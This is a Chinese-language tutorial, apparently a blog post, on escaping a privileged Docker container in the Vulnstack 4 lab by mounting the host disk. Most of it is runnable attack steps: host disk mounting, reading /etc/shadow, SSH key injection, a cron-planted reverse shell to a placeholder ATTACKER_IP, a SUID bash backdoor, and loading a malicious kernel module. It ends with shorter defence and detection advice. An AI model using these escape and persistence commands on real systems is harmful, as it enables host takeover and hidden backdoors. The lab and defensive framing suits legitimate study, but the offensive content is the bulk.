Vulnstack 4 靶场 Docker 特权逃逸实战:3步挂载宿主机磁盘获取 root 权限 📅 2026/7/13 6:15:24 Docker特权容器逃逸实战从权限检测到宿主机控制1. 特权容器逃逸技术概述在容器安全领域特权逃逸是最具破坏性的攻击方式之一。当容器以特权模式--privileged启动时它实际上获得了与宿主机几乎相同的权限级别这为攻击者提供了突破容器隔离限制的可能性。特权逃逸的核心在于滥用Linux内核能力机制。普通容器通常只被授予有限的Capabilities如CHOWN、NET_BIND_SERVICE等而特权容器则拥有包括CAP_SYS_ADMIN在内的高危能力。这种设计虽然方便了某些特殊场景下的容器管理但也打开了潘多拉魔盒。关键检测指标# 检查特权容器特征 cat /proc/self/status | grep CapEff典型特权容器的CapEff掩码值为0000003fffffffff或0000001fffffffff这表示容器拥有几乎所有Linux能力。2. 环境检测与确认在实施逃逸前必须确认当前容器环境是否满足特权逃逸条件。以下是完整的检测流程2.1 容器环境验证# 检查.dockerenv文件 ls -alh /.dockerenv # 检查cgroup信息 cat /proc/1/cgroup | grep docker # 检查设备文件权限 ls -l /dev/sda*2.2 磁盘信息枚举fdisk -l典型输出示例Disk /dev/sda: 20 GiB, 21474836480 bytes Device Boot Start End Sectors Size Id Type /dev/sda1 * 2048 41943039 41940992 20G 83 Linux2.3 能力集检测# 完整能力集检查 capsh --print关键能力包括CAP_SYS_ADMIN挂载文件系统CAP_DAC_OVERRIDE绕过文件权限检查CAP_SYS_MODULE加载内核模块3. 宿主机磁盘挂载逃逸3.1 挂载操作实战# 创建挂载点目录 mkdir -p /mnt/escape # 挂载宿主机根分区 mount /dev/sda1 /mnt/escape # 验证挂载结果 df -h | grep sda13.2 权限维持技术方法一SSH密钥注入# 在宿主机创建.ssh目录 mkdir -p /mnt/escape/root/.ssh # 写入攻击者公钥 echo ssh-rsa AAAAB3N...[你的公钥] /mnt/escape/root/.ssh/authorized_keys # 调整权限 chmod 600 /mnt/escape/root/.ssh/authorized_keys方法二定时任务植入# 创建反弹shell脚本 echo bash -i /dev/tcp/ATTACKER_IP/PORT 01 /mnt/escape/tmp/.backdoor.sh # 设置定时任务 echo * * * * * root bash /tmp/.backdoor.sh /mnt/escape/etc/crontab方法三SUID后门# 复制bash并设置SUID cp /bin/bash /mnt/escape/tmp/.suid_bash chmod 4755 /mnt/escape/tmp/.suid_bash4. 防御检测与对抗4.1 防御措施最小权限原则# 替代--privileged的精细化能力授权 docker run --cap-addSYS_ADMIN --security-optno-new-privileges ...只读挂载docker run -v /host/path:/container/path:ro ...用户命名空间隔离dockerd --userns-remapdefault4.2 检测方法# 检测异常挂载点 mount | grep -vE (proc|sys|devpts|tmpfs) # 检查可疑的CAP_SYS_ADMIN进程 ps aux | grep -i cap_sys_admin # 监控设备文件访问 auditctl -w /dev/sda* -p war -k docker_escape5. 高级逃逸技术拓展5.1 利用cgroup逃逸# 创建cgroup mkdir /sys/fs/cgroup/memory/test # 写入任务ID echo 1 /sys/fs/cgroup/memory/test/tasks # 触发内存不足(OOM)攻击 echo $$ /sys/fs/cgroup/memory/test/tasks dd if/dev/zero of/dev/null bs1M5.2 内核模块注入# 在宿主机准备恶意模块 insmod /mnt/escape/lib/modules/$(uname -r)/kernel/drivers/malicious.ko6. 实战案例深度分析某次红队评估中攻击路径如下通过Tomcat RCE获得容器shell检测到特权容器特征# 关键检测命令输出 $ cat /proc/self/status | grep CapEff CapEff: 0000003fffffffff挂载宿主机磁盘$ mount /dev/sda1 /mnt/host $ cat /mnt/host/etc/shadow通过写入SSH密钥建立持久化通道攻击时间线时间节点操作结果T0:00初始漏洞利用获得容器shellT0:05特权检测确认CapEff值T0:12磁盘挂载访问宿主机文件系统T0:20权限维持植入SSH后门7. 安全建议与最佳实践运行时防护部署容器安全监控工具如Falco启用seccomp和AppArmor策略构建时安全# 示例安全加固Dockerfile FROM alpine USER nobody RUN apk add --no-cache dumb-init ENTRYPOINT [/usr/bin/dumb-init, --]网络隔离# 创建自定义网络 docker network create --driverbridge --opt \ com.docker.network.bridge.enable_iccfalse isolated_net特权容器逃逸技术揭示了容器安全中最危险的安全边界突破方式。防御者需要采用纵深防御策略而攻击者则需不断探索新的技术突破点。在这个持续对抗的过程中理解底层原理才是安全能力的核心。